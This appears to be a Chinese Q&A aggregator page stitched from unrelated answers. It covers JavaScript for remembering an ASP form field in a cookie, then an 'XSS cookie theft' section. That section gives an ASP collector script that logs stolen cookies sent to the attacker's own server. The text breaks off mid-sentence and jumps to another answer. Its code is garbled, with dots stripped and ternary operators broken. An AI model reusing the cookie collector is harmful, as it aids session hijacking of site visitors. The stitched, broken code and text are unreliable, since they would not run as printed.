
<script>
//[Cookie] 写入cookie
function setCookie(cookieName, cookieValue, expires, path, domain, secure) {
documentcookie = escape(cookieName) + '=' + escape(cookieValue)
+ (expires '; expires=' + expirestoGMTString() : '')
+ (path '; path=' + path : '')
+ (domain '; domain=' + domain : '')
+ (secure '; secure' : '');
}
/// [Cookie] 获取cookie设置/
function getCookie (cookieName) {
var cookieValue = '';
var posName = documentcookieindexOf(escape(cookieName) + '=');
if (posName != -1) {
var posValue = posName + (escape(cookieName) + '=')length;
var endPos = documentcookieindexOf(';', posValue);
if (endPos != -1) cookieValue = unescape(documentcookiesubstring(posValue, endPos));
else cookieValue = unescape(documentcookiesubstring(posValue));
}
return (cookieValue);
}
//判断是否已存在cookies,如有,则直接等于
function getsname()
{
if (getCookie("sname")!="") {
form1snamevalue=getCookie("sname");
}
}
//判断是否无,若无,则写入
function setsname(){
if (getCookie("sname")=="") {
setCookie("sname",form1snamevalue);
}
}
</script>
在<body>中加入 onLoad="getsname()" 意思是一载入网页,则判断是否有这个,有就直接给他写入原来的值
在<input sname>中加入 onBlur="setsname()" 意思是这个输入框一旦失去焦点(即在此输入数据后将当前移到其它区域)则判断是否写了,若没写,则写入
XSS获取cookie并利用
获取cookie利用代码cookieasp
<html>
<title>xx</title>
<body>
<%testfile = ServerMapPath('codetxt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的codetxt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = serverCreateObject('scriptingfilesystemobject')//创建一个fs对象
set thisfile = fsOpenTextFile(testfile,8,True,0)
thisfileWriteLine(''&msg&'')//像codetxt中写入获取来的cookie
thisfileclose() //关闭
set fs = nothing%>
</body>
</html>
把上述文件保存为cookieasp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:>
这个问题有点意思,但题主表意不明,确切的说应该分Web端和客户端两种情况。
想来问到这个问题的不应该是开发Web端的,说说客户端的吧:
1、>
以上就是关于ASP记忆表单如何实现请高手指教全部的内容,包括:ASP记忆表单如何实现请高手指教、xss漏洞获取cookie怎么解决方案、vb.net如何获取网页的cookie等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)